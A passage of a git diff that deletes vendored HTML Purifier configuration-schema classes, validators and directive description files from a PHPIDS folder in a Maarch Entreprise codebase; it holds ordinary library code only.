sha1 of file was $hash", E_USER_ERROR); - } - return $r; - } - - /** - * Retrieves an instance of the application-wide configuration definition. - */ - public static function instance($prototype = null) { - if ($prototype !== null) { - HTMLPurifier_ConfigSchema::$singleton = $prototype; - } elseif (HTMLPurifier_ConfigSchema::$singleton === null || $prototype === true) { - HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial(); - } - return HTMLPurifier_ConfigSchema::$singleton; - } - - /** - * Defines a directive for configuration - * @warning Will fail of directive's namespace is defined. - * @warning This method's signature is slightly different from the legacy - * define() static method! Beware! - * @param $namespace Namespace the directive is in - * @param $name Key of directive - * @param $default Default value of directive - * @param $type Allowed type of the directive. See - * HTMLPurifier_DirectiveDef::$type for allowed values - * @param $allow_null Whether or not to allow null values - */ - public function add($key, $default, $type, $allow_null) { - $obj = new stdclass(); - $obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type]; - if ($allow_null) $obj->allow_null = true; - $this->info[$key] = $obj; - $this->defaults[$key] = $default; - $this->defaultPlist->set($key, $default); - } - - /** - * Defines a directive value alias. - * - * Directive value aliases are convenient for developers because it lets - * them set a directive to several values and get the same result. - * @param $namespace Directive's namespace - * @param $name Name of Directive - * @param $aliases Hash of aliased values to the real alias - */ - public function addValueAliases($key, $aliases) { - if (!isset($this->info[$key]->aliases)) { - $this->info[$key]->aliases = array(); - } - foreach ($aliases as $alias => $real) { - $this->info[$key]->aliases[$alias] = $real; - } - } - - /** - * Defines a set of allowed values for a directive. - * @warning This is slightly different from the corresponding static - * method definition. - * @param $namespace Namespace of directive - * @param $name Name of directive - * @param $allowed Lookup array of allowed values - */ - public function addAllowedValues($key, $allowed) { - $this->info[$key]->allowed = $allowed; - } - - /** - * Defines a directive alias for backwards compatibility - * @param $namespace - * @param $name Directive that will be aliased - * @param $new_namespace - * @param $new_name Directive that the alias will be to - */ - public function addAlias($key, $new_key) { - $obj = new stdclass; - $obj->key = $new_key; - $obj->isAlias = true; - $this->info[$key] = $obj; - } - - /** - * Replaces any stdclass that only has the type property with type integer. - */ - public function postProcess() { - foreach ($this->info as $key => $v) { - if (count((array) $v) == 1) { - $this->info[$key] = $v->type; - } elseif (count((array) $v) == 2 && isset($v->allow_null)) { - $this->info[$key] = -$v->type; - } - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php deleted file mode 100755 index 92bd63095be2778afa09d9155b56000a6fa0508c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -/** - * Converts HTMLPurifier_ConfigSchema_Interchange to our runtime - * representation used to perform checks on user configuration. - */ -class HTMLPurifier_ConfigSchema_Builder_ConfigSchema -{ - - public function build($interchange) { - $schema = new HTMLPurifier_ConfigSchema(); - foreach ($interchange->directives as $d) { - $schema->add( - $d->id->key, - $d->default, - $d->type, - $d->typeAllowsNull - ); - if ($d->allowed !== null) { - $schema->addAllowedValues( - $d->id->key, - $d->allowed - ); - } - foreach ($d->aliases as $alias) { - $schema->addAlias( - $alias->key, - $d->id->key - ); - } - if ($d->valueAliases !== null) { - $schema->addValueAliases( - $d->id->key, - $d->valueAliases - ); - } - } - $schema->postProcess(); - return $schema; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php deleted file mode 100755 index 7924b6adb101be6c00252d63f8d31ee4d9470807..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Builder/Xml.php +++ /dev/null @@ -1,106 +0,0 @@ -<?php - -/** - * Converts HTMLPurifier_ConfigSchema_Interchange to an XML format, - * which can be further processed to generate documentation. - */ -class HTMLPurifier_ConfigSchema_Builder_Xml extends XMLWriter -{ - - protected $interchange; - private $namespace; - - protected function writeHTMLDiv($html) { - $this->startElement('div'); - - $purifier = HTMLPurifier::getInstance(); - $html = $purifier->purify($html); - $this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml'); - $this->writeRaw($html); - - $this->endElement(); // div - } - - protected function export($var) { - if ($var === array()) return 'array()'; - return var_export($var, true); - } - - public function build($interchange) { - // global access, only use as last resort - $this->interchange = $interchange; - - $this->setIndent(true); - $this->startDocument('1.0', 'UTF-8'); - $this->startElement('configdoc'); - $this->writeElement('title', $interchange->name); - - foreach ($interchange->directives as $directive) { - $this->buildDirective($directive); - } - - if ($this->namespace) $this->endElement(); // namespace - - $this->endElement(); // configdoc - $this->flush(); - } - - public function buildDirective($directive) { - - // Kludge, although I suppose having a notion of a "root namespace" - // certainly makes things look nicer when documentation is built. - // Depends on things being sorted. - if (!$this->namespace || $this->namespace !== $directive->id->getRootNamespace()) { - if ($this->namespace) $this->endElement(); // namespace - $this->namespace = $directive->id->getRootNamespace(); - $this->startElement('namespace'); - $this->writeAttribute('id', $this->namespace); - $this->writeElement('name', $this->namespace); - } - - $this->startElement('directive'); - $this->writeAttribute('id', $directive->id->toString()); - - $this->writeElement('name', $directive->id->getDirective()); - - $this->startElement('aliases'); - foreach ($directive->aliases as $alias) $this->writeElement('alias', $alias->toString()); - $this->endElement(); // aliases - - $this->startElement('constraints'); - if ($directive->version) $this->writeElement('version', $directive->version); - $this->startElement('type'); - if ($directive->typeAllowsNull) $this->writeAttribute('allow-null', 'yes'); - $this->text($directive->type); - $this->endElement(); // type - if ($directive->allowed) { - $this->startElement('allowed'); - foreach ($directive->allowed as $value => $x) $this->writeElement('value', $value); - $this->endElement(); // allowed - } - $this->writeElement('default', $this->export($directive->default)); - $this->writeAttribute('xml:space', 'preserve'); - if ($directive->external) { - $this->startElement('external'); - foreach ($directive->external as $project) $this->writeElement('project', $project); - $this->endElement(); - } - $this->endElement(); // constraints - - if ($directive->deprecatedVersion) { - $this->startElement('deprecated'); - $this->writeElement('version', $directive->deprecatedVersion); - $this->writeElement('use', $directive->deprecatedUse->toString()); - $this->endElement(); // deprecated - } - - $this->startElement('description'); - $this->writeHTMLDiv($directive->description); - $this->endElement(); // description - - $this->endElement(); // directive - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php deleted file mode 100755 index 1abdcfc065215d0cec3af54068d15912fc21f8c8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Exception.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -/** - * Exceptions related to configuration schema - */ -class HTMLPurifier_ConfigSchema_Exception extends HTMLPurifier_Exception -{ - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange.php deleted file mode 100755 index ca4e4b68dc3d96c249bfb8b7dd7de075d80b9f4d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange.php +++ /dev/null @@ -1,42 +0,0 @@ -<?php - -/** - * Generic schema interchange format that can be converted to a runtime - * representation (HTMLPurifier_ConfigSchema) or HTML documentation. Members - * are completely validated. - */ -class HTMLPurifier_ConfigSchema_Interchange -{ - - /** - * Name of the application this schema is describing. - */ - public $name; - - /** - * Array of Directive ID => array(directive info) - */ - public $directives = array(); - - /** - * Adds a directive array to $directives - */ - public function addDirective($directive) { - if (isset($this->directives[$i = $directive->id->toString()])) { - throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'"); - } - $this->directives[$i] = $directive; - } - - /** - * Convenience function to perform standard validation. Throws exception - * on failed validation. - */ - public function validate() { - $validator = new HTMLPurifier_ConfigSchema_Validator(); - return $validator->validate($this); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php deleted file mode 100755 index 2dced1f54569be1317984d31176c6577d0d7098e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Directive.php +++ /dev/null @@ -1,77 +0,0 @@ -<?php - -/** - * Interchange component class describing configuration directives. - */ -class HTMLPurifier_ConfigSchema_Interchange_Directive -{ - - /** - * ID of directive, instance of HTMLPurifier_ConfigSchema_Interchange_Id. - */ - public $id; - - /** - * String type, e.g. 'integer' or 'istring'. - */ - public $type; - - /** - * Default value, e.g. 3 or 'DefaultVal'. - */ - public $default; - - /** - * HTML description. - */ - public $description; - - /** - * Boolean whether or not null is allowed as a value. - */ - public $typeAllowsNull = false; - - /** - * Lookup table of allowed scalar values, e.g. array('allowed' => true). - * Null if all values are allowed. - */ - public $allowed; - - /** - * List of aliases for the directive, - * e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))). - */ - public $aliases = array(); - - /** - * Hash of value aliases, e.g. array('alt' => 'real'). Null if value - * aliasing is disabled (necessary for non-scalar types). - */ - public $valueAliases; - - /** - * Version of HTML Purifier the directive was introduced, e.g. '1.3.1'. - * Null if the directive has always existed. - */ - public $version; - - /** - * ID of directive that supercedes this old directive, is an instance - * of HTMLPurifier_ConfigSchema_Interchange_Id. Null if not deprecated. - */ - public $deprecatedUse; - - /** - * Version of HTML Purifier this directive was deprecated. Null if not - * deprecated. - */ - public $deprecatedVersion; - - /** - * List of external projects this directive depends on, e.g. array('CSSTidy'). - */ - public $external = array(); - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php deleted file mode 100755 index 404c4042e56db6dc466ba66501af67c27f622068..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Id.php +++ /dev/null @@ -1,37 +0,0 @@ -<?php - -/** - * Represents a directive ID in the interchange format. - */ -class HTMLPurifier_ConfigSchema_Interchange_Id -{ - - public $key; - - public function __construct($key) { - $this->key = $key; - } - - /** - * @warning This is NOT magic, to ensure that people don't abuse SPL and - * cause problems for PHP 5.0 support. - */ - public function toString() { - return $this->key; - } - - public function getRootNamespace() { - return substr($this->key, 0, strpos($this->key, ".")); - } - - public function getDirective() { - return substr($this->key, strpos($this->key, ".") + 1); - } - - public static function make($id) { - return new HTMLPurifier_ConfigSchema_Interchange_Id($id); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php deleted file mode 100755 index 656002c9fedd2ace44b1976ebd495a1f30abd8ce..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Interchange/Namespace.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -/** - * Interchange component class describing namespaces. - */ -class HTMLPurifier_ConfigSchema_Interchange_Namespace -{ - - /** - * Name of namespace defined. - */ - public $namespace; - - /** - * HTML description. - */ - public $description; - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php deleted file mode 100755 index 3d499e52363a7d6977aa8494a1df4422865325aa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php +++ /dev/null @@ -1,180 +0,0 @@ -<?php - -class HTMLPurifier_ConfigSchema_InterchangeBuilder -{ - - /** - * Used for processing DEFAULT, nothing else. - */ - protected $varParser; - - public function __construct($varParser = null) { - $this->varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native(); - } - - public static function buildFromDirectory($dir = null) { - $builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); - $interchange = new HTMLPurifier_ConfigSchema_Interchange(); - return $builder->buildDir($interchange, $dir); - } - - public function buildDir($interchange, $dir = null) { - if (!$dir) $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema'; - if (file_exists($dir . '/info.ini')) { - $info = parse_ini_file($dir . '/info.ini'); - $interchange->name = $info['name']; - } - - $files = array(); - $dh = opendir($dir); - while (false !== ($file = readdir($dh))) { - if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') { - continue; - } - $files[] = $file; - } - closedir($dh); - - sort($files); - foreach ($files as $file) { - $this->buildFile($interchange, $dir . '/' . $file); - } - - return $interchange; - } - - public function buildFile($interchange, $file) { - $parser = new HTMLPurifier_StringHashParser(); - $this->build( - $interchange, - new HTMLPurifier_StringHash( $parser->parseFile($file) ) - ); - } - - /** - * Builds an interchange object based on a hash. - * @param $interchange HTMLPurifier_ConfigSchema_Interchange object to build - * @param $hash HTMLPurifier_ConfigSchema_StringHash source data - */ - public function build($interchange, $hash) { - if (!$hash instanceof HTMLPurifier_StringHash) { - $hash = new HTMLPurifier_StringHash($hash); - } - if (!isset($hash['ID'])) { - throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID'); - } - if (strpos($hash['ID'], '.') === false) { - if (count($hash) == 2 && isset($hash['DESCRIPTION'])) { - $hash->offsetGet('DESCRIPTION'); // prevent complaining - } else { - throw new HTMLPurifier_ConfigSchema_Exception('All directives must have a namespace'); - } - } else { - $this->buildDirective($interchange, $hash); - } - $this->_findUnused($hash); - } - - public function buildDirective($interchange, $hash) { - $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); - - // These are required elements: - $directive->id = $this->id($hash->offsetGet('ID')); - $id = $directive->id->toString(); // convenience - - if (isset($hash['TYPE'])) { - $type = explode('/', $hash->offsetGet('TYPE')); - if (isset($type[1])) $directive->typeAllowsNull = true; - $directive->type = $type[0]; - } else { - throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined"); - } - - if (isset($hash['DEFAULT'])) { - try { - $directive->default = $this->varParser->parse($hash->offsetGet('DEFAULT'), $directive->type, $directive->typeAllowsNull); - } catch (HTMLPurifier_VarParserException $e) { - throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'"); - } - } - - if (isset($hash['DESCRIPTION'])) { - $directive->description = $hash->offsetGet('DESCRIPTION'); - } - - if (isset($hash['ALLOWED'])) { - $directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED'))); - } - - if (isset($hash['VALUE-ALIASES'])) { - $directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES')); - } - - if (isset($hash['ALIASES'])) { - $raw_aliases = trim($hash->offsetGet('ALIASES')); - $aliases = preg_split('/\s*,\s*/', $raw_aliases); - foreach ($aliases as $alias) { - $directive->aliases[] = $this->id($alias); - } - } - - if (isset($hash['VERSION'])) { - $directive->version = $hash->offsetGet('VERSION'); - } - - if (isset($hash['DEPRECATED-USE'])) { - $directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE')); - } - - if (isset($hash['DEPRECATED-VERSION'])) { - $directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION'); - } - - if (isset($hash['EXTERNAL'])) { - $directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL'))); - } - - $interchange->addDirective($directive); - } - - /** - * Evaluates an array PHP code string without array() wrapper - */ - protected function evalArray($contents) { - return eval('return array('. $contents .');'); - } - - /** - * Converts an array list into a lookup array. - */ - protected function lookup($array) { - $ret = array(); - foreach ($array as $val) $ret[$val] = true; - return $ret; - } - - /** - * Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id - * object based on a string Id. - */ - protected function id($id) { - return HTMLPurifier_ConfigSchema_Interchange_Id::make($id); - } - - /** - * Triggers errors for any unused keys passed in the hash; such keys - * may indicate typos, missing values, etc. - * @param $hash Instance of ConfigSchema_StringHash to check. - */ - protected function _findUnused($hash) { - $accessed = $hash->getAccessed(); - foreach ($hash as $k => $v) { - if (!isset($accessed[$k])) { - trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE); - } - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php deleted file mode 100755 index 5772493a7f58207f5b1bc56c0c2d7922dcae6a7f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php +++ /dev/null @@ -1,206 +0,0 @@ -<?php - -/** - * Performs validations on HTMLPurifier_ConfigSchema_Interchange - * - * @note If you see '// handled by InterchangeBuilder', that means a - * design decision in that class would prevent this validation from - * ever being necessary. We have them anyway, however, for - * redundancy. - */ -class HTMLPurifier_ConfigSchema_Validator -{ - - /** - * Easy to access global objects. - */ - protected $interchange, $aliases; - - /** - * Context-stack to provide easy to read error messages. - */ - protected $context = array(); - - /** - * HTMLPurifier_VarParser to test default's type. - */ - protected $parser; - - public function __construct() { - $this->parser = new HTMLPurifier_VarParser(); - } - - /** - * Validates a fully-formed interchange object. Throws an - * HTMLPurifier_ConfigSchema_Exception if there's a problem. - */ - public function validate($interchange) { - $this->interchange = $interchange; - $this->aliases = array(); - // PHP is a bit lax with integer <=> string conversions in - // arrays, so we don't use the identical !== comparison - foreach ($interchange->directives as $i => $directive) { - $id = $directive->id->toString(); - if ($i != $id) $this->error(false, "Integrity violation: key '$i' does not match internal id '$id'"); - $this->validateDirective($directive); - } - return true; - } - - /** - * Validates a HTMLPurifier_ConfigSchema_Interchange_Id object. - */ - public function validateId($id) { - $id_string = $id->toString(); - $this->context[] = "id '$id_string'"; - if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) { - // handled by InterchangeBuilder - $this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id'); - } - // keys are now unconstrained (we might want to narrow down to A-Za-z0-9.) - // we probably should check that it has at least one namespace - $this->with($id, 'key') - ->assertNotEmpty() - ->assertIsString(); // implicit assertIsString handled by InterchangeBuilder - array_pop($this->context); - } - - /** - * Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object. - */ - public function validateDirective($d) { - $id = $d->id->toString(); - $this->context[] = "directive '$id'"; - $this->validateId($d->id); - - $this->with($d, 'description') - ->assertNotEmpty(); - - // BEGIN - handled by InterchangeBuilder - $this->with($d, 'type') - ->assertNotEmpty(); - $this->with($d, 'typeAllowsNull') - ->assertIsBool(); - try { - // This also tests validity of $d->type - $this->parser->parse($d->default, $d->type, $d->typeAllowsNull); - } catch (HTMLPurifier_VarParserException $e) { - $this->error('default', 'had error: ' . $e->getMessage()); - } - // END - handled by InterchangeBuilder - - if (!is_null($d->allowed) || !empty($d->valueAliases)) { - // allowed and valueAliases require that we be dealing with - // strings, so check for that early. - $d_int = HTMLPurifier_VarParser::$types[$d->type]; - if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) { - $this->error('type', 'must be a string type when used with allowed or value aliases'); - } - } - - $this->validateDirectiveAllowed($d); - $this->validateDirectiveValueAliases($d); - $this->validateDirectiveAliases($d); - - array_pop($this->context); - } - - /** - * Extra validation if $allowed member variable of - * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. - */ - public function validateDirectiveAllowed($d) { - if (is_null($d->allowed)) return; - $this->with($d, 'allowed') - ->assertNotEmpty() - ->assertIsLookup(); // handled by InterchangeBuilder - if (is_string($d->default) && !isset($d->allowed[$d->default])) { - $this->error('default', 'must be an allowed value'); - } - $this->context[] = 'allowed'; - foreach ($d->allowed as $val => $x) { - if (!is_string($val)) $this->error("value $val", 'must be a string'); - } - array_pop($this->context); - } - - /** - * Extra validation if $valueAliases member variable of - * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. - */ - public function validateDirectiveValueAliases($d) { - if (is_null($d->valueAliases)) return; - $this->with($d, 'valueAliases') - ->assertIsArray(); // handled by InterchangeBuilder - $this->context[] = 'valueAliases'; - foreach ($d->valueAliases as $alias => $real) { - if (!is_string($alias)) $this->error("alias $alias", 'must be a string'); - if (!is_string($real)) $this->error("alias target $real from alias '$alias'", 'must be a string'); - if ($alias === $real) { - $this->error("alias '$alias'", "must not be an alias to itself"); - } - } - if (!is_null($d->allowed)) { - foreach ($d->valueAliases as $alias => $real) { - if (isset($d->allowed[$alias])) { - $this->error("alias '$alias'", 'must not be an allowed value'); - } elseif (!isset($d->allowed[$real])) { - $this->error("alias '$alias'", 'must be an alias to an allowed value'); - } - } - } - array_pop($this->context); - } - - /** - * Extra validation if $aliases member variable of - * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. - */ - public function validateDirectiveAliases($d) { - $this->with($d, 'aliases') - ->assertIsArray(); // handled by InterchangeBuilder - $this->context[] = 'aliases'; - foreach ($d->aliases as $alias) { - $this->validateId($alias); - $s = $alias->toString(); - if (isset($this->interchange->directives[$s])) { - $this->error("alias '$s'", 'collides with another directive'); - } - if (isset($this->aliases[$s])) { - $other_directive = $this->aliases[$s]; - $this->error("alias '$s'", "collides with alias for directive '$other_directive'"); - } - $this->aliases[$s] = $d->id->toString(); - } - array_pop($this->context); - } - - // protected helper functions - - /** - * Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom - * for validating simple member variables of objects. - */ - protected function with($obj, $member) { - return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member); - } - - /** - * Emits an error, providing helpful context. - */ - protected function error($target, $msg) { - if ($target !== false) $prefix = ucfirst($target) . ' in ' . $this->getFormattedContext(); - else $prefix = ucfirst($this->getFormattedContext()); - throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg)); - } - - /** - * Returns a formatted context string. - */ - protected function getFormattedContext() { - return implode(' in ', array_reverse($this->context)); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php deleted file mode 100755 index cc5508263ee860f27a53afcec30f3a791133242d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/ValidatorAtom.php +++ /dev/null @@ -1,66 +0,0 @@ -<?php - -/** - * Fluent interface for validating the contents of member variables. - * This should be immutable. See HTMLPurifier_ConfigSchema_Validator for - * use-cases. We name this an 'atom' because it's ONLY for validations that - * are independent and usually scalar. - */ -class HTMLPurifier_ConfigSchema_ValidatorAtom -{ - - protected $context, $obj, $member, $contents; - - public function __construct($context, $obj, $member) { - $this->context = $context; - $this->obj = $obj; - $this->member = $member; - $this->contents =& $obj->{$member}; - } - - public function assertIsString() { - if (!is_string($this->contents)) $this->error('must be a string'); - return $this; - } - - public function assertIsBool() { - if (!is_bool($this->contents)) $this->error('must be a boolean'); - return $this; - } - - public function assertIsArray() { - if (!is_array($this->contents)) $this->error('must be an array'); - return $this; - } - - public function assertNotNull() { - if ($this->contents === null) $this->error('must not be null'); - return $this; - } - - public function assertAlnum() { - $this->assertIsString(); - if (!ctype_alnum($this->contents)) $this->error('must be alphanumeric'); - return $this; - } - - public function assertNotEmpty() { - if (empty($this->contents)) $this->error('must not be empty'); - return $this; - } - - public function assertIsLookup() { - $this->assertIsArray(); - foreach ($this->contents as $v) { - if ($v !== true) $this->error('must be a lookup array'); - } - return $this; - } - - protected function error($msg) { - throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema.ser b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema.ser deleted file mode 100755 index 245ba5d2d09c71529c7e1357160a3393ff280a4d..0000000000000000000000000000000000000000 Binary files a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema.ser and /dev/null differ diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt deleted file mode 100755 index 4a42382ec5838aea905ad254f98f6ce54856ceaa..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt +++ /dev/null @@ -1,8 +0,0 @@ -Attr.AllowedClasses -TYPE: lookup/null -VERSION: 4.0.0 -DEFAULT: null ---DESCRIPTION-- -List of allowed class values in the class attribute. By default, this is null, -which means all classes are allowed. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt deleted file mode 100755 index b033eb516a7e5abc845cb60b634d500811246b32..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt +++ /dev/null @@ -1,12 +0,0 @@ -Attr.AllowedFrameTargets -TYPE: lookup -DEFAULT: array() ---DESCRIPTION-- -Lookup table of all allowed link frame targets. Some commonly used link -targets include _blank, _self, _parent and _top. Values should be -lowercase, as validation will be done in a case-sensitive manner despite -W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute -so this directive will have no effect in that doctype. XHTML 1.1 does not -enable the Target module by default, you will have to manually enable it -(see the module documentation for more details.) ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt deleted file mode 100755 index ed72a9d567cbd33b0e8813aa0c802975f0e87e1e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt +++ /dev/null @@ -1,9 +0,0 @@ -Attr.AllowedRel -TYPE: lookup -VERSION: 1.6.0 -DEFAULT: array() ---DESCRIPTION-- -List of allowed forward document relationships in the rel attribute. Common -values may be nofollow or print. By default, this is empty, meaning that no -document relationships are allowed. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt deleted file mode 100755 index 1ae672d019d7c3957cdc883412b25fc67d5b516f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt +++ /dev/null @@ -1,9 +0,0 @@ -Attr.AllowedRev -TYPE: lookup -VERSION: 1.6.0 -DEFAULT: array() ---DESCRIPTION-- -List of allowed reverse document relationships in the rev attribute. This -attribute is a bit of an edge-case; if you don't know what it is for, stay -away. ---# vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt 